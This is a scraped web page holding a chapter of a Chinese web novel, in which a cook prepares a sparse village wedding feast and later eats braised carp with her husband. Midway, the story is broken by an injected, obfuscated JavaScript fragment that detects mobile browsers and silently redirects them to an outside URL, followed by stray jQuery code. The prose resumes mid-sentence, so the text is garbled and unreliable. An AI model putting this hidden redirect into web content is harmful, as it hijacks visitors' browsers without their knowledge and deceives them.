文趣网 > 其他小说 > 穿到女尊捡夫郎 > 43. 酱炖鱼
    程家在山脚下,江弈一早出发,赶到程家门口已到巳时。

    骡车停进院里,江弈四下打量,三间茅草屋,夯实的黄土院儿,门上窗上贴满了红纸。骡子拴在树上,江弈跳下骡车,一位老妇拎着烟袋迎上来。

    “可是江厨子?”

    “正是,这可是程家?”江弈拎着木箱,客气道。

    “是是,可算等到您了,灶房在这边。”

    江弈跟着那老妇一路穿过茅屋,走向屋后,停在一片空地上。空地上搭着几个简易灶台,铁锅仅有一口,其余都是陶锅,木质的案板上放着一节猪腿,半板豆腐,其余都是各色青菜。

    “菜都在这了,我女儿的喜宴就交给您了。”那老妇用烟斗指指案板。

    江弈看向身前简易的灶台,急忙抓住转身欲离去的老妇:“程姨,今日的喜宴有多少桌?”

    “上十桌吧。”

    十桌?这么点菜哪能做出十桌来?院子里也没见有那么多张桌子啊。

    “可有米面?”

    “米面?那等矜贵的东西怎能用在大席上?”老妇眼里的诧异不作假,江弈沉默片刻,抓紧人不放,继续问道:“可有帮厨?”

    这么多人吃饭,就她一人做饭,要什么时候才能开饭?

    “帮厨?哦,你说帮手是吧?我花钱请了你来….”老妇在江弈逐渐难看的脸色下咽下嘴里的话,咕哝几声答应道:“帮手嘛。好说,我去给你找几个男人来。”

    话落,径直扯开她的手,往前院去了。

    江弈看着眼前的的简易灶台,认命地撸起袖子,开始备菜。

    猪肉分开切块,这块做粉蒸肉,这些做卤肉,这些留着炒菜,本就不多的猪肉被江弈分好后,每一块更是少的可怜,江弈掐着腰站在空地上叹了口气。

    “快看,是个俊俏的小娘子!”

    “呦,身量不低呢,穿的也好!”

    “长得也精神,这是外村请来的厨子?还是个会手艺的?”

    江弈回头看去,三四个男人站在身后,从上到下的打量她,好像她是一块喷香的猪肉,江弈后颈有些发凉。

    “可是程村长找来的帮厨?”江弈清了清嗓子问。

    “帮厨?好新鲜的词,我们是来帮忙做饭的。”一群人里有个年纪偏大的阿叔回道,嘴上说着话走向江弈,打量了一番灶台,从桌上拿起青菜择起来。

    江弈松了口气,还好有个能干活的。

    “不知喜宴的干粮准备什么?”此处没有米面,程村长也没多言就走了,她心里很没底。

    蹲在地上的男人抬起头看过来,“干粮?有肉有菜,已经是难得的丰盛,村里人家沾口荤腥不容易,哪里还能再吃人家的干粮?”

    “那?只做菜即可?”

    江弈心里迟疑,本来菜就少,要应对十桌已是不易,又没有干粮,这菜一端上桌就空了吧?

    地上又蹲下一个人,从身旁拿起菜抬起头看向她:“你只管做菜就好了,村里富裕的人家会自己带着洋芋上门的,这么好的菜若是不配上干粮,晚上该睡不着了。”

    听清了他们的意思,江弈点点头,不再管此事,已经是约定俗成的事,怪不到她的头上就好。

    留他们在地上择菜,江弈交代他们把菜分门别类放好洗净即可,自己转身收拾起猪肉来,没有米面,粉蒸肉也做不成了,江弈站在案板前打量,这些肉若想让全村沾上荤腥就必须混着青菜做才好。

    江弈把骨头单独留出来做酱大骨,骨头剁得小块一些,一桌能上一两块,炖好的大骨里加上豆角还能再上一道菜。用来炒青菜的肉丝,江弈尽可能把肉块切得大一些,让每道菜里都能有些肉的味道。

    酱大骨、冷吃拼盘、炒三丝、凉拌胡瓜……肉已用尽,共计八道菜。

    锅里的大骨已经炖好,院里传来肉香,不断有孩子闻着味道往灶前跑来,都被帮厨的男人们挡了回去。

    江弈把最后的摆盘做好,擦了擦手,长舒了口气。

    “这位女郎,你可有家室?”身后传来一道试探的问询声。

    江弈有些诧异地回头看去,是帮厨中那位年长的夫郎。谈起亲事,江弈低着头勾起嘴角,“刚成亲不久。”

    那位夫郎有些失望地点点头,“嗳,应该的。”

    这么好的女郎哪里留得下,怕是早就被人家定下来了,就算没成亲怕是也看不上他家的哥儿。

    江弈不想和外人多谈自己的家事,客气地冲人点头。

    前院响起热闹的鞭炮声,吉时已到,新人进门,待听到那位老村长大声的吆喝,“上菜!上菜!”

    江弈招呼身后的帮厨按照顺序一桌一桌的把菜送去前院,前院里挤满了人,正经的桌子只有五六张,用来安排长辈和新夫郎的亲人。

    江弈带着帮厨先给他们上菜。

    剩下的桌子多是村里人家临时凑的,有木板搭着石头,也有门板落在陶缸上,好在都还算稳当。

    村里人也不嫌弃,早就闻到了肉香等着上菜呢。

    菜一上桌,四周的筷子就纷纷落向了肉菜,酱骨头不好分,江弈特意提前把肉撕下来摆在盘里,剩下的骨头上只余些筋皮,给孩子们啃着玩儿再好不过。

    桌上的赞叹声此起彼伏,江弈站在屋前松了口气。

    村里人吃顿肉不容易,能尽她所能的让他们吃得满意些,就再好不过了。

    席后,江弈从程村长手里接过做宴席的红封,刚转身就听到有人从屋里跑出。嘴上还叫着她的名字。

    程雨跑到江弈面前站定,有些腼腆地扬起嘴角:“弈姐儿,多亏了你,席面做得特别好,村里人都夸呢,我娘可有面子了。”

    “你满意就好。”江弈笑笑,看向她胸前的大红花,想起自己成亲的时候,笑里带了些打趣:“快回去吧,你夫郎还在等你。”

    程雨挠挠头,脸泛起红来,抬手拍拍她的肩,笑着跑走了。

    回家的路上刚好路过林家,江弈看天色还早,便把车拐进隔壁村。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713146|205497||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >骡车停在林家门前,林家院门紧闭,大门用布条绑紧,彰显着主人不在家。

    篱笆上的蔷薇落了一地,看来林生已经有一阵子没回来了,脑中闪过林生上次发病的样子,江弈眉头不自觉的皱紧。

    心中想着林家的事,江弈驾着骡车往家赶去。

    到家时天色昏暗,刚跳下马车,脚边就扑上来一个热乎乎的毛团子。

    江弈一边用脚逗着狗子玩,一边往院里走去。

    “弈姐儿!”

    林铛听到狗子兴奋的叫声从灶房里探出头来,见到江弈的身影眼睛一亮。

    江弈扬起一个笑来,“晚上吃什么啊?”神经紧绷了一天,肚子也没填饱,看到铃铛那一刻才感觉放松下来。

    江弈到林铛身后伸出双臂环住他的腰,把头埋进他的脖颈里深吸了口气,又忍不住蹭了蹭,“我好饿。”

    “炖鱼!”林铛打开锅盖给江弈看看锅里炖的鱼,江弈低头一看,二斤多的大鲤鱼,四周散着青红辣椒,锅盖一开浓浓的酱香味儿散发开来。

    “哪来的鱼啊?”江弈抱着林铛跟着他的脚步挪来挪去。村里虽然有河,可是里面只有些小杂鱼,这么大的鱼可抓不到。

    “娘去陈家买的!”说起这个,林铛有些兴奋地转头看向江弈,“陈家奶奶说过几日要下大雨,明后两日陈家要放堰,今天就试着放了些水,村里好多人去抓鱼呢!”

    当然抓到的鱼也是要花钱买的,可那也是难得的热闹呢。

    陈家啊,江弈了然的点点头,陈家是村里的大户,村后的水塘就是她家的,每到雨季都会开堰放水。堰里的鱼随着水跑出,村里家家户户都跑去凑热闹,虽说捉来的鱼也是要花钱买的,可也难保有人手脚快就把鱼藏进怀中抱回了家。

    “明日带你去玩?”江弈看出他的好奇,眼里带了笑。

    林铛重重的点了两下头。嗯!想去!要去!

    江弈噗嗤一笑,侧头看看院里无人,抬手点点自己的嘴角,扬眉看向他。

    林铛也侧头看了看院外,见四周无人,快速地踮起脚尖碰了碰她的脸。

    江弈看他如做贼般鬼祟的动作和逐渐泛起红色的耳根,心里好笑,说到做到:“明日早点起,我们捉鱼去!”

    林铛背着身重重地点头。

    晚间一家人围在桌前,酱炖的鲤鱼格外入味儿,汤汁浓郁,锅边贴过的饼子底层焦香。饼子沾上鱼汤,鱼肉的鲜香彻底融进饼中。

    今日江弈不在,镇上的摊子也歇业一日,赵星在家带着小苗儿跑了一日,此时一口鱼肉一口饼子,吃得头也不抬。

    翌日一早,村里就热闹起来,除了江母还在养伤只能看看热闹,余下的三人吃过早饭就穿戴齐全,拎着水桶,扎好裤腿,穿上草鞋,气势汹汹的向塘下走去。

    昨日还放晴的天,今日就阴了下来,如陈奶奶说的那样,大雨将至。

    堰下的河边站满了人,都是等着来捉鱼的村人,手里拿着绳子和木桶,等着陈家开堰。